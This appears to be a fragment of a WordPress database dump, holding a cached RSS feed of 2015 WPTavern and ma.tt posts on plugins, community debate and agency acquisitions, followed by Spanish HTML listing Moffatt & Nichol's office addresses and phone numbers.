\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"WPTavern: Personalize Profile Headers with the BuddyPress Cover Plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38414\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:80:\"http://wptavern.com/personalize-profile-headers-with-the-buddypress-cover-plugin\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3220:\"<p>Cover photos in user profiles is a design feature in place on many major social networking sites, including Facebook, Twitter, and G+. Users enjoy having the ability to further personalize their profiles beyond the default square avatar. Twitter was one of the last to add this feature to timelines in 2012, and when it did, everyone excitedly rushed to <a href=\"http://mashable.com/2012/09/18/how-to-change-twitter-header-image/\" target=\"_blank\">personalize their header images</a>.</p>\n<p>The <a href=\"https://wordpress.org/plugins/bp-cover/\" target=\"_blank\">BuddyPress Cover</a> plugin was created to bring this feature to BuddyPress sites. It allows users to upload a cover image and adapts nicely to nearly every theme.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/bp-cover.png\" rel=\"prettyphoto[38414]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/bp-cover.png?resize=724%2C489\" alt=\"bp-cover\" class=\"aligncenter size-full wp-image-38422\" /></a></p>\n<p>In addition to the AJAX image upload capabilities, the plugin allows the user to drag the image to re-position it. If the image exceeds the maximum file size, the user will see a warning at the top of the page, prompting him to select another. Believe it or not, the plugin even supports animated gifs as cover images.</p>\n<p>BuddyPress Cover also integrates with the activity stream to post an update when a user adds a new cover photo, similar to what you might see on Facebook.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/bp-cover-activity-update.png\" rel=\"prettyphoto[38414]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/bp-cover-activity-update.png?resize=644%2C471\" alt=\"bp-cover-activity-update\" class=\"aligncenter size-full wp-image-38440\" /></a></p>\n<p>I tested the plugin with multiple themes and found that it basically inherits the styles and widths included in your active theme. Most likely you won&#8217;t have anything to worry about in terms of theme compatibility. The only thing I noticed is that user profile pictures will need to be larger than 140px square or else the plugin will show the mystery man in the header.</p>\n<p>The plugin&#8217;s author plans to add the same capabilities to groups so that admins add cover photos to personalize group pages. So far the plugin has received excellent reviews and users are eager to see more features added to it.</p>\n<p>User suggestions for future releases include the ability to select from previously uploaded cover photos and auto-cropping of the photo in activity updates to match the size shown in the cover area. The developer is open to suggestions and has already pushed out a few point releases in response to bug reports and requests.</p>\n<p>The BuddyPress Cover plugin is a valuable addition to any developer&#8217;s toolbox, as clients will often request features they have seen on other social networks. If you&#8217;re looking to add greater customization capabilities to user profiles while maintaining the clean design of your theme, this plugin fits the bill. You can <a href=\"https://wordpress.org/plugins/bp-cover/\" target=\"_blank\">download</a> it from WordPress.org.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 04 Feb 2015 00:03:22 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:46;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:29:\"Matt: World Pun Championships\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44646\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:45:\"http://ma.tt/2015/02/world-pun-championships/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:848:\"<blockquote><p>The Pun-Off, held annually since 1978, matches the peculiar energy of a place where the unofficial slogan is &#8220;Keep Austin Weird.&#8221; This is the city, after all, that organizes Eeyore&#8217;s Birthday Party, an outdoor costume party honoring the depressed donkey from Winnie-the-Pooh. [&#8230;]</p>\n<p>It&#8217;s a reunion of legends past. Steve Brooks, a country singer with a mop of gray hair, is the only other person besides Ziek to have won both Punslingers and Punniest of Show in the same year. Retired from competition, he now serves as a judge and emcee.</p></blockquote>\n<p><a href=\"http://www.laweekly.com/news/at-the-world-pun-championships-victory-is-easier-said-than-punned-4767308\">Everything about this article about the World Pun Championships in Austin is amazing</a>, I want to quote the entire thing.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 23:58:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:47;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:64:\"WPTavern: Is WordPress Suffering From The Innovator’s Dilemma?\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38412\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"http://wptavern.com/is-wordpress-suffering-from-the-innovators-dilemma\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4845:\"<a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/InnovationDilemmaFeaturedImage.png\" rel=\"prettyphoto[38412]\"><img class=\"size-full wp-image-38420\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/InnovationDilemmaFeaturedImage.png?resize=631%2C323\" alt=\"Innovation Dilemma Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/37996588780@N01/273978773\">Scrabble</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-sa/2.0/\">(license)</a>\n<p>I&#8217;ve used WordPress for more than seven years and I can&#8217;t think of any features it has that are innovative. I believe part of the reason is that I&#8217;ve been stuck in the WordPress bubble for so long, I haven&#8217;t been exposed to different ways of doing things. I only know the WordPress way and that&#8217;s a dangerous way of thinking.</p>\n<h2>The Innovator&#8217;s Dilemma</h2>\n<p>In 1997, <a class=\"mw-redirect\" title=\"Clayton Christensen\" href=\"http://en.wikipedia.org/wiki/Clayton_Christensen\">Clayton Christensen</a> published the <a title=\"http://en.wikipedia.org/wiki/The_Innovator%27s_Dilemma\" href=\"http://en.wikipedia.org/wiki/The_Innovator%27s_Dilemma\">Innovator&#8217;s Dilemma</a>. The book suggests that successful <a class=\"mw-redirect\" title=\"Companies\" href=\"http://en.wikipedia.org/wiki/Companies\">companies</a> can put too much emphasis on customers current needs, and fail to adopt new technology or business models that will meet their customer&#8217;s unstated or future needs. Christensen argues that such companies will eventually fall behind.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/InnovatorsDilemma.png\" rel=\"prettyphoto[38412]\"><img class=\"size-full wp-image-38419\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/InnovatorsDilemma.png?resize=571%2C466\" alt=\"Book Cover to Innovators Dilemma\" /></a>Book Cover to Innovators Dilemma\n<p>During his appearance at PressNomics, <a title=\"https://twitter.com/jeffr0/status/558778370792493056\" href=\"https://twitter.com/jeffr0/status/558778370792493056\">Matt Mullenweg said</a> that he’s, “worried we have become too much of an inward facing community and afraid to make a painful leap forward to make the next WordPress.” His statement is open to interpretation, but if you compare the WordPress open source project to a company and its users to customers, perhaps what he&#8217;s referring to is the idea that WordPress has fallen into the innovator&#8217;s dilemma.</p>\n<h2>External Innovation</h2>\n<p>In the Advanced WordPress Facebook group,  Joost de Valk responded to Mullenweg&#8217;s statement with, &#8220;Most innovation is done outside in, not inside out. But to be honest Matt, that’s where the problem lies too. The &#8216;inside&#8217; is very negative towards change, and is constantly throwing up hurdles. They like small incremental steps, but fear bigger ones.&#8221;</p>\n<p>Core WordPress development is done by a trusted team of people who have remained in core decision-making positions for years. It&#8217;s rare that an individual new to the community gets commit access or even gets to lead a release within two years.</p>\n<p>I don&#8217;t think it&#8217;s impossible, but if brand new contributors from outside of the WordPress bubble have little to no influence on the project, where is the opportunity for external innovation?</p>\n<h2>Leading by Example</h2>\n<p>Another statement Mullenweg made at PressNomics is that he wants to lead another release. Leading a release gives him the opportunity to lead by example and push for big changes, something he feels the community fears.</p>\n<h2>A Thought Experiment</h2>\n<p>What do you think are innovative features in WordPress? I&#8217;m especially curious to see how users answer the question versus developers. I&#8217;d also like to know what features in other publishing systems WordPress could learn from. An excellent example is the post editor in Medium which Mullenweg <a title=\"https://twitter.com/jeffr0/status/558777784932118531\" href=\"https://twitter.com/jeffr0/status/558777784932118531\">has admitted</a> offers a better experience than WordPress.</p>\n<h2>Can WordPress Avoid Irrelevance?</h2>\n<p>The road to 50% market share is tough and to some, <a title=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share#comment-63337\" href=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share#comment-63337\">is impossible</a> to achieve. Without innovation and continuous improvements to satisfy the needs of users, it&#8217;s entirely possible for WordPress to develop itself into irrelevance. Then again, what could WordPress developers do today to prevent this from happening? Is it a matter of changing philosophies and strategies or is it something else?</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 23:20:13 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:48;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:70:\"WPTavern: Human Made Acquires Australian Based WordPress Agency Sennza\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38401\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:80:\"http://wptavern.com/human-made-acquires-australian-based-wordpress-agency-sennza\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2074:\"<a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/08/MergeFeaturedImage.png\" rel=\"prettyphoto[38401]\"><img class=\"size-full wp-image-28143\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2014/08/MergeFeaturedImage.png?resize=678%2C252\" alt=\"Merge Featured Image\" /></a>photo credit: <a href=\"https://www.flickr.com/photos/rutlo/3743291132/\">rutlo</a> &#8211; <a href=\"http://creativecommons.org/licenses/by/2.0/\">cc</a>\n<p><a title=\"http://hmn.md/\" href=\"http://hmn.md/\">Human Made</a> has acquired Australian based WordPress development agency <a title=\"http://www.sennza.com.au/\" href=\"http://www.sennza.com.au/\">Sennza</a>. Human Made is a development shop with more than 20 employees and has offices scattered across the world. They&#8217;re also a <a title=\"http://vip.wordpress.com/partners/\" href=\"http://vip.wordpress.com/partners/\">WordPress.com VIP partner</a>. Sennza and its three employees will continue to work from their office and become Human Made Australia.</p>\n<p>The move gives Human Made an opportunity to tap into the enterprise market in Australia as well as help out with other projects across Asia, India, and the US West Coast. According to <a title=\"http://www.sennza.com.au/2015/02/03/sennza-joining-human-made/\" href=\"http://www.sennza.com.au/2015/02/03/sennza-joining-human-made/\">Sennza&#8217;s announcement</a>, talks of the acquisition began at WordCamp Europe in Sofia, Bulgaria.</p>\n<blockquote><p>Although we had met and spoken with Human Made previously, we got the chance to really meet and hang out with most of the team while at WordCamp Europe in Sofia, Bulgaria which helped to confirm this was the right decision to make.</p></blockquote>\n<p>Earlier this year at PressNomics, one of the topics of discussion is that we&#8217;re at the beginning stages of a consolidation period for agencies in the WordPress space. This move solidifies the belief that acquisitions involving 10 employees or less appear likely as larger shops look for opportunities to expand their reach and acquire talent at the same time.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 03 Feb 2015 22:11:05 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:49;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:84:\"WPTavern: How a Crowdsourced Code Snippet Library Can Boost Your Open Source Project\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=37151\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:94:\"http://wptavern.com/how-a-crowdsourced-code-snippet-library-can-boost-your-open-source-project\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4387:\"<p>Roughly one year ago this month Pippin Williamson made the first commit to Easy Digital Download&#8217;s &#8220;<a href=\"https://github.com/easydigitaldownloads/library\" target=\"_blank\">Library</a>&#8221; repository on GitHub. He created the library to be a community-maintained repository of code snippets that modify the default behavior of Easy Digital Downloads.</p>\n<p>So far the library has received 113 commits from eight contributors, which has resulted in more than sixty code snippets available to users and developers. The snippets cover everything from modifying the checkout experience to customizing the plugin&#8217;s email notifications.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/edd-code-snippet-library.png\" rel=\"prettyphoto[37151]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/edd-code-snippet-library.png?resize=1025%2C951\" alt=\"edd-code-snippet-library\" class=\"aligncenter size-full wp-image-38381\" /></a></p>\n<p>With more than half a million downloads on <a href=\"https://wordpress.org/plugins/easy-digital-downloads/\" target=\"_blank\">WordPress.org</a> and 150+ free and commercial <a href=\"https://easydigitaldownloads.com/extensions/\" target=\"_blank\">extensions</a>, Easy Digital Downloads has a large community of developers who work with the software every day.</p>\n<p>Williamson said that having the ability to share snippets for modifying EDD behavior has been hugely useful for the project. He only approves solid, tested code but in most cases the snippets have been submitted by the EDD team. Managing the repository hardly costs any time at all, &#8220;a few minutes per week at max,&#8221; he said.</p>\n<p>The benefits of hosting a community-maintained repository of code snippets far outweigh the minimal time required to maintain it. &#8220;The biggest problem it has is humans: we tend to forget to put snippets up a lot of times,&#8221; Williamson said. He identified three key areas where the library benefits the project:</p>\n<ul>\n<li>It&#8217;s a resource for the support team.</li>\n<li>It&#8217;s a source of examples for people wanting to customize behavior.</li>\n<li>It provides live testing (similar to add-on plugins) for potential features to add to core.</li>\n</ul>\n<p>The most common way that snippets are added to the EDD library is through the support staff.  &#8220;We write code snippets for customers while helping with support tickets and then we put the snippet in the library,&#8221; Williamson said.</p>\n<p>He hasn&#8217;t seen any WordPress-based open source projects or products doing anything similar but thinks that others could gain some value from implementing a library. GenerateWP might be the closest example of a site attempting something similar for snippets that extend WordPress core, with its new user <a href=\"http://wptavern.com/generatewp-introduces-wordpress-custom-code-snippets\" target=\"_blank\">code library feature</a>. However, this doesn&#8217;t have the collaborative benefits of hosting the library on GitHub.</p>\n<p>Larger WordPress projects like the Pods Framework, Gravity Forms, WooCommerce, BuddyPress, Jetpack, etc., are prime candidates that might benefit from a library of tested snippets. Of course, it helps that the base EDD plugin is free and open source. A 100% commercial project may not fare as well with a crowdsourced snippet library.</p>\n<p>Easy Digital Download is well known for being extensible and developer-friendly. Over the past two years <a href=\"http://wptavern.com/pippin-williamson-on-building-a-community-around-your-open-source-project\" target=\"_blank\">Williamson built a community of contributors</a> 120+ strong and found that extensibility has a direct correlation to profitability. The code snippet library is undoubtedly a valuable investment toward helping developers extend the base EDD plugin.</p>\n<p>Could your open source project or product benefit from a community-maintained library of code snippets? A snippet library can keep developers from having to reinvent the wheel when performing common modifications. It also provides a tested resource of code samples for those who are just getting started extending your project. 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Box 113100,\r\n\r\nAbu Dabi, Emiratos Árabes Unidos.\r\n\r\n<strong>teléfono</strong>\r\n\r\n+971 (0)2 406 9696\r\n\r\n<strong>fax</strong>\r\n\r\n+971 (0)2 406 9810\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/08/atlanta.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"30\">Atlanta</h2>\r\n<strong>dirección</strong>\r\n\r\n3730 Chamblee Tucker Road, Suite M\r\n\r\nAtlanta, GA 30341\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 770-492-8204\r\n\r\n<strong>fax</strong>\r\n\r\n\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baltimore.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"2\">Baltimore</h2>\r\n<strong>dirección</strong>\r\n\r\n2700 Lighthouse Point East, Suite 501\r\n\r\nBaltimore, MD 21224\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 410-563-7300\r\n\r\n<strong>fax</strong>\r\n\r\n+1 410-563-4330\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Baton-Rouge-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"3\">Baton Rouge</h2>\r\n<strong>dirección</strong>\r\n\r\n301 Main Street, Suite 800\r\n\r\nBaton Rouge, LA 70825\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 225-336-2075\r\n\r\n<strong>fax</strong>\r\n\r\n+1 225-336-2076\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/bogota.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"4\">Bogotá</h2>\r\n<strong>dirección</strong>\r\n\r\nAvenida Cra. 9 N.° 113-52, Of.1201\r\n\r\nBogotá D.C., Colombia\r\n\r\n<strong>teléfono</strong>\r\n\r\n+57-1213-1149\r\n\r\n<strong>fax</strong>\r\n\r\n+57 1629 4365\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#31\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2014/03/farnborough.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"7\">FARNBOROUGH</h2>\r\n\r\n<strong>dirección</strong>\r\n\r\nSuite 161, The Hub,\r\n\r\nFarnborough Business Park, Fowler Avenue,\r\n\r\nFarnborough, GU14 7JF, United Kingdom\r\n\r\n<strong>teléfono</strong>\r\n\r\n+44 20 3206 1062\r\n\r\n<strong>fax</strong>\r\n\r\n+44 20 3206 1061\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/Hawaii-.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"7\">HONOLULÚ</h2>\r\n\r\n<strong>dirección</strong>\r\n\r\n733 Bishop Street, Suite 1740\r\n\r\nHonolulu, HI 96813\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 808-533-7000\r\n\r\n<strong>fax</strong>\r\n\r\n+1 808-533-7002\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/hoston.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"8\">HOUSTON</h2>\r\n<strong>dirección</strong>\r\n\r\n11011 Richmond Avenue, Suite 200\r\n\r\nHouston, TX 77042\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 713-977-7372\r\n\r\n<strong>fax</strong>\r\n\r\n+1 713-977-7379\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/london.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"9\">LONDRES</h2>\r\n<strong>dirección</strong>\r\n\r\nFifth Floor, 35 Great St. Helen\'s\r\n\r\nLondres EC3A 6HB\r\n\r\nReino Unido\r\n\r\n<strong>teléfono</strong>\r\n\r\n+44 (0)20 3206 1062\r\n\r\n<strong>fax</strong>\r\n\r\n+44 (0)20 3206 1061\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/long-beach.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"10\">LONG BEACH</h2>\r\n<strong>dirección</strong>\r\n\r\n3780 Kilroy Airport Way, Suite 600\r\n\r\nLong Beach, CA 90806\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 562-426-9551\r\n\r\n<strong>fax</strong>\r\n\r\n+1 562-424-7489\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/08/miami.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"31\">MIAMI</h2>\r\n<strong>dirección</strong>\r\n\r\n3390 Mary Street, Suite 260\r\n\r\nCoconut Grove, FL 33133\r\n\r\n<strong>teléfono</strong>\r\n\r\n+1 786-412-6938\r\n\r\n<strong>fax</strong>\r\n\r\n\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"addressbox_one\">\r\n<div class=\"addbox_left\">\r\n<div class=\"box_green\"><a title=\"Nuestras oficinas\" href=\"#\"><img src=\"http://www.moffattnichol.com/wp-content/uploads/2013/08/neworleans.jpg\" alt=\"\" width=\"280\" height=\"190\" border=\"0\" /></a></div>\r\n</div>\r\n<div class=\"abu_dhabi\">\r\n<h2 id=\"32\">NUEVA 